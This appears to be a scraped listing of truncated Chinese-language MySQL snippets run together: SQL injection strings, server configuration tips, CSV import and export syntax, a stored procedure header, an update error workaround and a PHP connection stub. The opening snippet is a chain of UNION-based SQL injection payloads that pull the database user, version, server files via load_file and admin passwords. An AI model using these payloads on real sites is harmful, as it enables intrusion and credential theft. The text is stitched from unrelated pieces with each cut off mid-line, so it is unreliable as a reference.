and 1 = 2 union all select 1,2,3,user()and 1 = 2 union all select 1,2,3,version()and 1 = 2 union all select 1,2,3,database()and 1 = 2 union all select 1,2,3,load_file(0x檔案路徑)and 1 = 2 union all select 1,2,3,password from adminand 1 = 2 union all
尋找mysql安裝目錄 whereis mysql 查看var目錄 查看mysql自己配置whereis my.cnf 或 mysql>show VARIABLES like '%log%'; # vi /etc/my.cnf[mysqld]wait_timeout=10# /etc/init.d/mysql restart不過這個方法太生硬了,線上服務重啟無論如何都應該儘可能避免,看看如何在MySQL命令列裡通過SET來設定:mysql> set global
從CSV檔案匯入到MySQL:LOAD DATA INFILE 'E:/file.csv'INTO TABLE t1CHARACTER SET gb2312FIELDS TERMINATED BY ',' ENCLOSED BY '"'LINES TERMINATED BY '\r\n'(column1, @var1)SET column2 = @var1/100; 從MySQL匯出到CSV檔案:SELECT col1,col2,col3 FROM t1INTO OUTFILE
DELIMITER $$USE `db_im`$$DROP PROCEDURE IF EXISTS `P_bi_parasIP`$$CREATE DEFINER=`root`@`localhost` PROCEDURE `P_bi_parasIP`( IN Pi_ipstr VARCHAR(50), OUT Po_int1 INT, OUT Po_int2 INT, OUT Po_int3 INT, OUT Po_int4 INT, OUT Po_ret IN
目前在寫程式時,在處理MYSQL時遇到一個問題,問題如下update dealer_admin set is_super_admin=1 where id in (select id from dealer_admin group by dealer_id );此時會報:#1093 - You can't specify target table 'dealer_admin' for update in FROM clause在網上找了一個暫時可以解決的方法create temporary
<?php//串連資料庫參數$host="";$user="";$pass="";$db="";//建立串連$connection=mysql_connect($host,$user,$pass) or die("unable to connect!");mysql_select_db($db) or die("unable to select db!");//選擇資料庫mysql_set_charset('utf8',$connection);